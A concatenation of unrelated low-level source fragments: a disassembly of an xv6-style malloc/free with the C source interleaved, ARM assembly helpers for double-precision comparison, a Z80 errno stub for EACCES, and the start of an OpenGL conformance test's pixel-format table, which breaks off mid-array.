08 mov %ecx,(%eax) freep = p; 609: a3 08 0a 00 00 mov %eax,0xa08 } 60e: 5b pop %ebx 60f: 5e pop %esi 610: 5f pop %edi 611: 5d pop %ebp 612: c3 ret bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ bp->s.size += p->s.ptr->s.size; 613: 03 72 04 add 0x4(%edx),%esi 616: 89 73 fc mov %esi,-0x4(%ebx) bp->s.ptr = p->s.ptr->s.ptr; 619: 8b 10 mov (%eax),%edx 61b: 8b 12 mov (%edx),%edx 61d: 89 53 f8 mov %edx,-0x8(%ebx) } else bp->s.ptr = p->s.ptr; if(p + p->s.size == bp){ 620: 8b 50 04 mov 0x4(%eax),%edx 623: 8d 34 d0 lea (%eax,%edx,8),%esi 626: 39 f1 cmp %esi,%ecx 628: 75 dd jne 607 <free+0x57> p->s.size += bp->s.size; 62a: 03 53 fc add -0x4(%ebx),%edx p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; freep = p; 62d: a3 08 0a 00 00 mov %eax,0xa08 bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; if(p + p->s.size == bp){ p->s.size += bp->s.size; 632: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 635: 8b 53 f8 mov -0x8(%ebx),%edx 638: 89 10 mov %edx,(%eax) } else p->s.ptr = bp; freep = p; } 63a: 5b pop %ebx 63b: 5e pop %esi 63c: 5f pop %edi 63d: 5d pop %ebp 63e: c3 ret 63f: 90 nop 00000640 <malloc>: return freep; } void* malloc(uint nbytes) { 640: 55 push %ebp 641: 89 e5 mov %esp,%ebp 643: 57 push %edi 644: 56 push %esi 645: 53 push %ebx 646: 83 ec 0c sub $0xc,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 649: 8b 45 08 mov 0x8(%ebp),%eax if((prevp = freep) == 0){ 64c: 8b 15 08 0a 00 00 mov 0xa08,%edx malloc(uint nbytes) { Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 652: 8d 78 07 lea 0x7(%eax),%edi 655: c1 ef 03 shr $0x3,%edi 658: 83 c7 01 add $0x1,%edi if((prevp = freep) == 0){ 65b: 85 d2 test %edx,%edx 65d: 0f 84 a3 00 00 00 je 706 <malloc+0xc6> 663: 8b 02 mov (%edx),%eax 665: 8b 48 04 mov 0x4(%eax),%ecx base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ 668: 39 cf cmp %ecx,%edi 66a: 76 74 jbe 6e0 <malloc+0xa0> 66c: 81 ff 00 10 00 00 cmp $0x1000,%edi 672: be 00 10 00 00 mov $0x1000,%esi 677: 8d 1c fd 00 00 00 00 lea 0x0(,%edi,8),%ebx 67e: 0f 43 f7 cmovae %edi,%esi 681: ba 00 80 00 00 mov $0x8000,%edx 686: 81 ff ff 0f 00 00 cmp $0xfff,%edi 68c: 0f 46 da cmovbe %edx,%ebx 68f: eb 10 jmp 6a1 <malloc+0x61> 691: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 698: 8b 02 mov (%edx),%eax if(p->s.size >= nunits){ 69a: 8b 48 04 mov 0x4(%eax),%ecx 69d: 39 cf cmp %ecx,%edi 69f: 76 3f jbe 6e0 <malloc+0xa0> p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 6a1: 39 05 08 0a 00 00 cmp %eax,0xa08 6a7: 89 c2 mov %eax,%edx 6a9: 75 ed jne 698 <malloc+0x58> char *p; Header *hp; if(nu < 4096) nu = 4096; p = sbrk(nu * sizeof(Header)); 6ab: 83 ec 0c sub $0xc,%esp 6ae: 53 push %ebx 6af: e8 96 fc ff ff call 34a <sbrk> if(p == (char*)-1) 6b4: 83 c4 10 add $0x10,%esp 6b7: 83 f8 ff cmp $0xffffffff,%eax 6ba: 74 1c je 6d8 <malloc+0x98> return 0; hp = (Header*)p; hp->s.size = nu; 6bc: 89 70 04 mov %esi,0x4(%eax) free((void*)(hp + 1)); 6bf: 83 ec 0c sub $0xc,%esp 6c2: 83 c0 08 add $0x8,%eax 6c5: 50 push %eax 6c6: e8 e5 fe ff ff call 5b0 <free> return freep; 6cb: 8b 15 08 0a 00 00 mov 0xa08,%edx } freep = prevp; return (void*)(p + 1); } if(p == freep) if((p = morecore(nunits)) == 0) 6d1: 83 c4 10 add $0x10,%esp 6d4: 85 d2 test %edx,%edx 6d6: 75 c0 jne 698 <malloc+0x58> return 0; 6d8: 31 c0 xor %eax,%eax 6da: eb 1c jmp 6f8 <malloc+0xb8> 6dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ if(p->s.size == nunits) 6e0: 39 cf cmp %ecx,%edi 6e2: 74 1c je 700 <malloc+0xc0> prevp->s.ptr = p->s.ptr; else { p->s.size -= nunits; 6e4: 29 f9 sub %edi,%ecx 6e6: 89 48 04 mov %ecx,0x4(%eax) p += p->s.size; 6e9: 8d 04 c8 lea (%eax,%ecx,8),%eax p->s.size = nunits; 6ec: 89 78 04 mov %edi,0x4(%eax) } freep = prevp; 6ef: 89 15 08 0a 00 00 mov %edx,0xa08 return (void*)(p + 1); 6f5: 83 c0 08 add $0x8,%eax } if(p == freep) if((p = morecore(nunits)) == 0) return 0; } } 6f8: 8d 65 f4 lea -0xc(%ebp),%esp 6fb: 5b pop %ebx 6fc: 5e pop %esi 6fd: 5f pop %edi 6fe: 5d pop %ebp 6ff: c3 ret base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ if(p->s.size == nunits) prevp->s.ptr = p->s.ptr; 700: 8b 08 mov (%eax),%ecx 702: 89 0a mov %ecx,(%edx) 704: eb e9 jmp 6ef <malloc+0xaf> Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; 706: c7 05 08 0a 00 00 0c movl $0xa0c,0xa08 70d: 0a 00 00 710: c7 05 0c 0a 00 00 0c movl $0xa0c,0xa0c 717: 0a 00 00 base.s.size = 0; 71a: b8 0c 0a 00 00 mov $0xa0c,%eax 71f: c7 05 10 0a 00 00 00 movl $0x0,0xa10 726: 00 00 00 729: e9 3e ff ff ff jmp 66c <malloc+0x2c>
//------------------------------------------------------------------------------ // // Copyright (c) 2015, Linaro Limited. All rights reserved. // // SPDX-License-Identifier: BSD-2-Clause-Patent // //------------------------------------------------------------------------------ EXPORT __aeabi_cdrcmple EXPORT __aeabi_cdcmpeq EXPORT __aeabi_cdcmple IMPORT _softfloat_float64_eq IMPORT _softfloat_float64_lt AREA __aeabi_cdcmp, CODE, READONLY PRESERVE8 __aeabi_cdrcmple MOV IP, R0 MOV R0, R2 MOV R2, IP MOV IP, R1 MOV R1, R3 MOV R3, IP __aeabi_cdcmpeq __aeabi_cdcmple PUSH {R0 - R3, IP, LR} BL _softfloat_float64_eq SUB IP, R0, #1 CMP IP, #0 // sets C and Z if R0 == 1 POPEQ {R0 - R3, IP, PC} LDM SP, {R0 - R3} BL _softfloat_float64_lt SUB IP, R0, #1 CMP IP, #1 // sets C if R0 == 0 POP {R0 - R3, IP, PC} END
INCLUDE "clib_cfg.asm" ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; IF __CLIB_OPT_ERROR ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; verbose mode SECTION code_clib SECTION code_error PUBLIC error_eacces_mc EXTERN __EACCES, errno_mc pop hl error_eacces_mc: ; set hl = -1 ; set carry flag ; set errno = EACCES ld l,__EACCES jp errno_mc SECTION rodata_clib SECTION rodata_error_strings IF __CLIB_OPT_ERROR & $02 defb __EACCES defm "EACCES - Permission denied" defb 0 ELSE defb __EACCES defm "EACCES" defb 0 ENDIF ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ELSE ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; SECTION code_clib SECTION code_error PUBLIC error_eacces_mc EXTERN errno_mc defc error_eacces_mc = errno_mc - 2 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ENDIF ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
/*------------------------------------------------------------------------- * OpenGL Conformance Test Suite * ----------------------------- * * Copyright (c) 2017 The Khronos Group Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * */ /*! * \file glcPackedPixelsTests.cpp * \brief */ /*-------------------------------------------------------------------*/ #include "glcPackedPixelsTests.hpp" #include "deMath.h" #include "glcMisc.hpp" #include "gluContextInfo.hpp" #include "gluShaderProgram.hpp" #include "gluStrUtil.hpp" #include "glwEnums.hpp" #include "glwFunctions.hpp" #include "tcuRenderTarget.hpp" #include "tcuTestLog.hpp" #include <algorithm> #include <cstring> #include <limits> #include <map> #include <stdio.h> using namespace glw; using namespace glu; namespace glcts { enum { GRADIENT_WIDTH = 7, GRADIENT_HEIGHT = 3 }; enum InputOutputOperation { OUTPUT_GETTEXIMAGE, OUTPUT_READPIXELS, INPUT_TEXIMAGE, }; enum ComponentFormat { FORMAT_STENCIL, // stencil, unsigned int FORMAT_DEPTH, // depth, unsigned [fp|float] FORMAT_DEPTH_STENCIL, // depth+stencil, unsigned [fp|float] FORMAT_COLOR, // color, [signed|unsigned] fp FORMAT_COLOR_INTEGER, // color, [signed|unsigned] int }; enum TypeStorage { STORAGE_UNSIGNED, // unsigned fp/int STORAGE_SIGNED, // signed fp/int STORAGE_FLOAT, // signed/unsigned float }; union InternalFormatBits { struct Bits { int red; // red bits int green; // green bits int blue; // blue bits int alpha; // alpha bits int intensity; // intensity bits int luminance; // luminance bits int depth; // depth bits int stencil; // stencil bits int exponent; // shared exponent bits } bits; int array[9]; // all the bits }; struct PixelType { GLenum type; int size; int storage; bool special; bool reversed; InternalFormatBits bits; bool clamp; }; struct PixelFormat { GLenum format; // format name int components; // number of components int componentFormat; // element meaning GLenum attachment; // target buffer InternalFormatBits componentOrder; // zero based element order, -1 for N/A }; enum InternalFormatSamplerType { SAMPLER_UNORM = 0, // unsigned normalized SAMPLER_NORM, // normalized SAMPLER_UINT, // unsigned integer SAMPLER_INT, // integer SAMPLER_FLOAT // floating-point }; enum InternalFormatFlag { FLAG_PACKED = 1, // packed pixel format FLAG_COMPRESSED = 2, // compressed format FLAG_REQ_RBO_GL42 = 4, // required RBO & tex format in OpenGL 4.2 FLAG_REQ_RBO_ES30 = 8, // required RBO & tex format in OpenGL ES 3.0 FLAG_REQ_RBO = FLAG_REQ_RBO_GL42 | FLAG_REQ_RBO_ES30, // Required RBO & tex format in both }; struct InternalFormat { GLenum sizedFormat; GLenum baseFormat; GLenum format; GLenum type; InternalFormatSamplerType sampler; InternalFormatBits bits; int flags; // InternalFormatFlag }; struct EnumFormats { GLenum internalformat; GLenum format; GLenum type; int size; bool bRenderable; }; #define PACK_DEFAULTI (0) #define PACK_DEFAULTUI (0) #define PACK_DEFAULTF (-2.0f) static const InternalFormat coreInternalformats[] = { { GL_DEPTH_COMPONENT, GL_DEPTH_COMPONENT, GL_DEPTH_COMPONENT, GL_UNSIGNED_SHORT, SAMPLER_UNORM, { { 0, 0, 0, 0, 0, 0,16, 0, 0 } }, 0 }, { GL_DEPTH_STENCIL, GL_DEPTH_STENCIL, GL_DEPTH_STENCIL, GL_UNSIGNED_INT, SAMPLER_UNORM, { { 0, 0, 0, 0, 0, 0,24, 8, 0 } }, 0 }, { GL_RED, GL_RED, GL_RED, GL_UNSIGNED_BYTE, SAMPLER_UNORM, { { 8, 0, 0, 0, 0, 0, 0, 0, 0 } }, 0 }, { GL_RG, GL_RG, GL_RG, GL_UNSIGNED_BYTE, SAMPLER_UNORM, { { 8, 8, 0, 0, 0, 0, 0, 0, 0 } }, 0 }, { GL_R8, GL_RED, GL_RED, GL_UNSIGNED_BYTE, SAMPLER_UNORM, { { 8, 0, 0, 0, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO }, { GL_R8_SNORM, GL_RED, GL_RED, GL_BYTE, SAMPLER_NORM, { { 8, 0, 0, 0, 0, 0, 0, 0, 0 } }, 0 }, { GL_R16, GL_RED, GL_RED, GL_UNSIGNED_SHORT, SAMPLER_UNORM, { {16, 0, 0, 0, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO_GL42 }, { GL_R16_SNORM, GL_RED, GL_RED, GL_SHORT, SAMPLER_NORM, { {16, 0, 0, 0, 0, 0, 0, 0, 0 } }, 0 }, { GL_RG8, GL_RG, GL_RG, GL_UNSIGNED_BYTE, SAMPLER_UNORM, { { 8, 8, 0, 0, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO }, { GL_RG8_SNORM, GL_RG, GL_RG, GL_BYTE, SAMPLER_NORM, { { 8, 8, 0, 0, 0, 0, 0, 0, 0 } }, 0 }, { GL_RG16, GL_RG, GL_RG, GL_UNSIGNED_SHORT, SAMPLER_UNORM, { {16,16, 0, 0, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO_GL42 }, { GL_RG16_SNORM, GL_RG, GL_RG, GL_SHORT, SAMPLER_NORM, { {16,16, 0, 0, 0, 0, 0, 0, 0 } }, 0 }, { GL_R3_G3_B2, GL_RGB, GL_RGB, GL_UNSIGNED_BYTE_3_3_2, SAMPLER_UNORM, { { 3, 3, 2, 0, 0, 0, 0, 0, 0 } }, FLAG_PACKED }, { GL_RGB4, GL_RGB, GL_RGB, GL_UNSIGNED_BYTE, SAMPLER_UNORM, { { 4, 4, 4, 0, 0, 0, 0, 0, 0 } }, 0 }, { GL_RGB5, GL_RGB, GL_RGB, GL_UNSIGNED_BYTE, SAMPLER_UNORM, { { 5, 5, 5, 0, 0, 0, 0, 0, 0 } }, 0 }, { GL_RGB8, GL_RGB, GL_RGB, GL_UNSIGNED_BYTE, SAMPLER_UNORM, { { 8, 8, 8, 0, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO_ES30 }, { GL_RGB8_SNORM, GL_RGB, GL_RGB, GL_BYTE, SAMPLER_NORM, { { 8, 8, 8, 0, 0, 0, 0, 0, 0 } }, 0 }, { GL_RGB10, GL_RGB, GL_RGB, GL_UNSIGNED_SHORT, SAMPLER_UNORM, { {10,10,10, 0, 0, 0, 0, 0, 0 } }, 0 }, { GL_RGB12, GL_RGB, GL_RGB, GL_UNSIGNED_SHORT, SAMPLER_UNORM, { {12,12,12, 0, 0, 0, 0, 0, 0 } }, 0 }, { GL_RGB16, GL_RGB, GL_RGB, GL_UNSIGNED_SHORT, SAMPLER_UNORM, { {16,16,16, 0, 0, 0, 0, 0, 0 } }, 0 }, { GL_RGB16_SNORM, GL_RGB, GL_RGB, GL_SHORT, SAMPLER_NORM, { {16,16,16, 0, 0, 0, 0, 0, 0 } }, 0 }, { GL_RGBA2, GL_RGBA, GL_RGBA, GL_UNSIGNED_BYTE, SAMPLER_UNORM, { { 2, 2, 2, 2, 0, 0, 0, 0, 0 } }, 0 }, { GL_RGBA4, GL_RGBA, GL_RGBA, GL_UNSIGNED_SHORT_4_4_4_4, SAMPLER_UNORM, { { 4, 4, 4, 4, 0, 0, 0, 0, 0 } }, FLAG_PACKED|FLAG_REQ_RBO }, { GL_RGB5_A1, GL_RGBA, GL_RGBA, GL_UNSIGNED_SHORT_5_5_5_1, SAMPLER_UNORM, { { 5, 5, 5, 1, 0, 0, 0, 0, 0 } }, FLAG_PACKED|FLAG_REQ_RBO }, { GL_RGBA8, GL_RGBA, GL_RGBA, GL_UNSIGNED_BYTE, SAMPLER_UNORM, { { 8, 8, 8, 8, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO }, { GL_RGBA8_SNORM, GL_RGBA, GL_RGBA, GL_BYTE, SAMPLER_NORM, { { 8, 8, 8, 8, 0, 0, 0, 0, 0 } }, 0 }, { GL_RGB10_A2, GL_RGBA, GL_RGBA, GL_UNSIGNED_INT_10_10_10_2, SAMPLER_UNORM, { {10,10,10, 2, 0, 0, 0, 0, 0 } }, FLAG_PACKED|FLAG_REQ_RBO_GL42 }, { GL_RGB10_A2UI, GL_RGBA, GL_RGBA_INTEGER, GL_UNSIGNED_INT_10_10_10_2, SAMPLER_UINT, { {10,10,10, 2, 0, 0, 0, 0, 0 } }, FLAG_PACKED|FLAG_REQ_RBO_GL42 }, { GL_RGBA12, GL_RGBA, GL_RGBA, GL_UNSIGNED_SHORT, SAMPLER_UNORM, { {12,12,12,12, 0, 0, 0, 0, 0 } }, 0 }, { GL_RGBA16, GL_RGBA, GL_RGBA, GL_UNSIGNED_SHORT, SAMPLER_UNORM, { {16,16,16,16, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO_GL42 }, { GL_RGBA16_SNORM, GL_RGBA, GL_RGBA, GL_SHORT, SAMPLER_NORM, { {16,16,16,16, 0, 0, 0, 0, 0 } }, 0 }, { GL_SRGB8, GL_RGB, GL_RGB, GL_UNSIGNED_BYTE, SAMPLER_UNORM, { { 8, 8, 8, 0, 0, 0, 0, 0, 0 } }, 0 }, { GL_SRGB8_ALPHA8, GL_RGBA, GL_RGBA, GL_UNSIGNED_BYTE, SAMPLER_UNORM, { { 8, 8, 8, 8, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO }, { GL_R16F, GL_RED, GL_RED, GL_HALF_FLOAT, SAMPLER_FLOAT, { {16, 0, 0, 0, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO_GL42 }, { GL_RG16F, GL_RG, GL_RG, GL_HALF_FLOAT, SAMPLER_FLOAT, { {16,16, 0, 0, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO_GL42 }, { GL_RGB16F, GL_RGB, GL_RGB, GL_HALF_FLOAT, SAMPLER_FLOAT, { {16,16,16, 0, 0, 0, 0, 0, 0 } }, 0 }, { GL_RGBA16F, GL_RGBA, GL_RGBA, GL_HALF_FLOAT, SAMPLER_FLOAT, { {16,16,16,16, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO_GL42 }, { GL_R32F, GL_RED, GL_RED, GL_FLOAT, SAMPLER_FLOAT, { {32, 0, 0, 0, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO_GL42 }, { GL_RG32F, GL_RG, GL_RG, GL_FLOAT, SAMPLER_FLOAT, { {32,32, 0, 0, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO_GL42 }, { GL_RGB32F, GL_RGB, GL_RGB, GL_FLOAT, SAMPLER_FLOAT, { {32,32,32, 0, 0, 0, 0, 0, 0 } }, 0 }, { GL_RGBA32F, GL_RGBA, GL_RGBA, GL_FLOAT, SAMPLER_FLOAT, { {32,32,32,32, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO_GL42 }, { GL_R11F_G11F_B10F, GL_RGB, GL_RGB, GL_UNSIGNED_INT_10F_11F_11F_REV, SAMPLER_FLOAT, { {11,11,10, 0, 0, 0, 0, 0, 0 } }, FLAG_PACKED|FLAG_REQ_RBO_GL42 }, { GL_RGB9_E5, GL_RGB, GL_RGB, GL_UNSIGNED_INT_5_9_9_9_REV, SAMPLER_FLOAT, { { 9, 9, 9, 0, 0, 0, 0, 0, 5 } }, FLAG_PACKED }, { GL_R8I, GL_RED, GL_RED_INTEGER, GL_BYTE, SAMPLER_INT, { { 8, 0, 0, 0, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO }, { GL_R8UI, GL_RED, GL_RED_INTEGER, GL_UNSIGNED_BYTE, SAMPLER_UINT, { { 8, 0, 0, 0, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO }, { GL_R16I, GL_RED, GL_RED_INTEGER, GL_SHORT, SAMPLER_INT, { {16, 0, 0, 0, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO }, { GL_R16UI, GL_RED, GL_RED_INTEGER, GL_UNSIGNED_SHORT, SAMPLER_UINT, { {16, 0, 0, 0, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO }, { GL_R32I, GL_RED, GL_RED_INTEGER, GL_INT, SAMPLER_INT, { {32, 0, 0, 0, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO }, { GL_R32UI, GL_RED, GL_RED_INTEGER, GL_UNSIGNED_INT, SAMPLER_UINT, { {32, 0, 0, 0, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO }, { GL_RG8I, GL_RG, GL_RG_INTEGER, GL_BYTE, SAMPLER_INT, { { 8, 8, 0, 0, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO }, { GL_RG8UI, GL_RG, GL_RG_INTEGER, GL_UNSIGNED_BYTE, SAMPLER_UINT, { { 8, 8, 0, 0, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO }, { GL_RG16I, GL_RG, GL_RG_INTEGER, GL_SHORT, SAMPLER_INT, { {16,16, 0, 0, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO }, { GL_RG16UI, GL_RG, GL_RG_INTEGER, GL_UNSIGNED_SHORT, SAMPLER_UINT, { {16,16, 0, 0, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO }, { GL_RG32I, GL_RG, GL_RG_INTEGER, GL_INT, SAMPLER_INT, { {32,32, 0, 0, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO }, { GL_RG32UI, GL_RG, GL_RG_INTEGER, GL_UNSIGNED_INT, SAMPLER_UINT, { {32,32, 0, 0, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO }, { GL_RGB8I, GL_RGB, GL_RGB_INTEGER, GL_BYTE, SAMPLER_INT, { { 8, 8, 8, 0, 0, 0, 0, 0, 0 } }, 0 }, { GL_RGB8UI, GL_RGB, GL_RGB_INTEGER, GL_UNSIGNED_BYTE, SAMPLER_UINT, { { 8, 8, 8, 0, 0, 0, 0, 0, 0 } }, 0 }, { GL_RGB16I, GL_RGB, GL_RGB_INTEGER, GL_SHORT, SAMPLER_INT, { {16,16,16, 0, 0, 0, 0, 0, 0 } }, 0 }, { GL_RGB16UI, GL_RGB, GL_RGB_INTEGER, GL_UNSIGNED_SHORT, SAMPLER_UINT, { {16,16,16, 0, 0, 0, 0, 0, 0 } }, 0 }, { GL_RGB32I, GL_RGB, GL_RGB_INTEGER, GL_INT, SAMPLER_INT, { {32,32,32, 0, 0, 0, 0, 0, 0 } }, 0 }, { GL_RGB32UI, GL_RGB, GL_RGB_INTEGER, GL_UNSIGNED_INT, SAMPLER_UINT, { {32,32,32, 0, 0, 0, 0, 0, 0 } }, 0 }, { GL_RGBA8I, GL_RGBA, GL_RGBA_INTEGER, GL_BYTE, SAMPLER_INT, { { 8, 8, 8, 8, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO }, { GL_RGBA8UI, GL_RGBA, GL_RGBA_INTEGER, GL_UNSIGNED_BYTE, SAMPLER_UINT, { { 8, 8, 8, 8, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO }, { GL_RGBA16I, GL_RGBA, GL_RGBA_INTEGER, GL_SHORT, SAMPLER_INT, { {16,16,16,16, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO }, { GL_RGBA16UI, GL_RGBA, GL_RGBA_INTEGER, GL_UNSIGNED_SHORT, SAMPLER_UINT, { {16,16,16,16, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO }, { GL_RGBA32I, GL_RGBA, GL_RGBA_INTEGER, GL_INT, SAMPLER_INT, { {32,32,32,32, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO }, { GL_RGBA32UI, GL_RGBA, GL_RGBA_INTEGER, GL_UNSIGNED_INT, SAMPLER_UINT, { {32,32,32,32, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO }, { GL_DEPTH_COMPONENT16, GL_DEPTH_COMPONENT, GL_DEPTH_COMPONENT, GL_UNSIGNED_SHORT, SAMPLER_UNORM, { { 0, 0, 0, 0, 0, 0,16, 0, 0 } }, FLAG_REQ_RBO }, { GL_DEPTH_COMPONENT24, GL_DEPTH_COMPONENT, GL_DEPTH_COMPONENT, GL_UNSIGNED_INT, SAMPLER_UNORM, { { 0, 0, 0, 0, 0, 0,24, 0, 0 } }, FLAG_REQ_RBO }, { GL_DEPTH_COMPONENT32, GL_DEPTH_COMPONENT, GL_DEPTH_COMPONENT, GL_UNSIGNED_INT, SAMPLER_UNORM, { { 0, 0, 0, 0, 0, 0,32, 0, 0 } }, 0 }, { GL_DEPTH_COMPONENT32F, GL_DEPTH_COMPONENT, GL_DEPTH_COMPONENT, GL_FLOAT, SAMPLER_FLOAT, { { 0, 0, 0, 0, 0, 0,32, 0, 0 } }, FLAG_REQ_RBO }, { GL_DEPTH24_STENCIL8, GL_DEPTH_STENCIL, GL_DEPTH_STENCIL, GL_UNSIGNED_INT_24_8, SAMPLER_UNORM, { { 0, 0, 0, 0, 0, 0,24, 8, 0 } }, FLAG_REQ_RBO }, { GL_DEPTH32F_STENCIL8, GL_DEPTH_STENCIL, GL_DEPTH_STENCIL, GL_FLOAT_32_UNSIGNED_INT_24_8_REV, SAMPLER_FLOAT, { { 0, 0, 0, 0, 0, 0,32, 8, 0 } }, FLAG_PACKED|FLAG_REQ_RBO }, { GL_COMPRESSED_RED, GL_RED, GL_RED, GL_UNSIGNED_BYTE, SAMPLER_UNORM, { { 8, 0, 0, 0, 0, 0, 0, 0, 0 } }, FLAG_COMPRESSED }, { GL_COMPRESSED_RG, GL_RG, GL_RG, GL_UNSIGNED_BYTE, SAMPLER_UNORM, { { 8, 8, 0, 0, 0, 0, 0, 0, 0 } }, FLAG_COMPRESSED }, { GL_COMPRESSED_RGB, GL_RGB, GL_RGB, GL_UNSIGNED_BYTE, SAMPLER_UNORM, { { 8, 8, 8, 0, 0, 0, 0, 0, 0 } }, FLAG_COMPRESSED }, { GL_COMPRESSED_RGBA, GL_RGBA, GL_RGBA, GL_UNSIGNED_BYTE, SAMPLER_UNORM, { { 8, 8, 8, 8, 0, 0, 0, 0, 0 } }, FLAG_COMPRESSED }, { GL_COMPRESSED_SRGB, GL_RGB, GL_RGB, GL_UNSIGNED_BYTE, SAMPLER_UNORM, { { 8, 8, 8, 0, 0, 0, 0, 0, 0 } }, FLAG_COMPRESSED }, { GL_COMPRESSED_SRGB_ALPHA, GL_RGBA, GL_RGBA, GL_UNSIGNED_BYTE, SAMPLER_UNORM, { { 8, 8, 8, 8, 0, 0, 0, 0, 0 } }, FLAG_COMPRESSED }, { GL_COMPRESSED_RED_RGTC1, GL_RED, GL_RED, GL_UNSIGNED_BYTE, SAMPLER_UNORM, { { 8, 0, 0, 0, 0, 0, 0, 0, 0 } }, FLAG_COMPRESSED }, { GL_COMPRESSED_SIGNED_RED_RGTC1, GL_RED, GL_RED, GL_BYTE, SAMPLER_NORM, { { 8, 0, 0, 0, 0, 0, 0, 0, 0 } }, FLAG_COMPRESSED }, { GL_COMPRESSED_RG_RGTC2, GL_RG, GL_RG, GL_UNSIGNED_BYTE, SAMPLER_UNORM, { { 8, 8, 0, 0, 0, 0, 0, 0, 0 } }, FLAG_COMPRESSED }, { GL_COMPRESSED_SIGNED_RG_RGTC2, GL_RG, GL_RG, GL_BYTE, SAMPLER_NORM, { { 8, 8, 0, 0, 0, 0, 0, 0, 0 } }, FLAG_COMPRESSED }, }; static InternalFormat esInternalformats[] = { { GL_LUMINANCE, GL_LUMINANCE, GL_LUMINANCE, GL_UNSIGNED_BYTE, SAMPLER_UNORM, { { 0, 0, 0, 0, 0, 8, 0, 0, 0 } }, 0 }, { GL_ALPHA, GL_ALPHA, GL_ALPHA, GL_UNSIGNED_BYTE, SAMPLER_UNORM, { { 0, 0, 0, 8, 0, 0, 0, 0, 0 } }, 0 }, { GL_LUMINANCE_ALPHA, GL_LUMINANCE_ALPHA, GL_LUMINANCE_ALPHA, GL_UNSIGNED_BYTE, SAMPLER_UNORM, { { 0, 0, 0, 8, 0, 8, 0, 0, 0 } }, 0 }, { GL_RGB, GL_RGB, GL_RGB, GL_UNSIGNED_BYTE, SAMPLER_UNORM, { { 8, 8, 8, 0, 0, 0, 0, 0, 0 } }, 0 }, { GL_RGBA, GL_RGBA, GL_RGBA, GL_UNSIGNED_BYTE, SAMPLER_UNORM, { { 8, 8, 8, 8, 0, 0, 0, 0, 0 } }, 0 }, { GL_R8, GL_RED, GL_RED, GL_UNSIGNED_BYTE, SAMPLER_UNORM, { { 8, 0, 0, 0, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO }, { GL_R8_SNORM, GL_RED, GL_RED, GL_BYTE, SAMPLER_NORM, { { 8, 0, 0, 0, 0, 0, 0, 0, 0 } }, 0 }, { GL_RG8, GL_RG, GL_RG, GL_UNSIGNED_BYTE, SAMPLER_UNORM, { { 8, 8, 0, 0, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO }, { GL_RG8_SNORM, GL_RG, GL_RG, GL_BYTE, SAMPLER_NORM, { { 8, 8, 0, 0, 0, 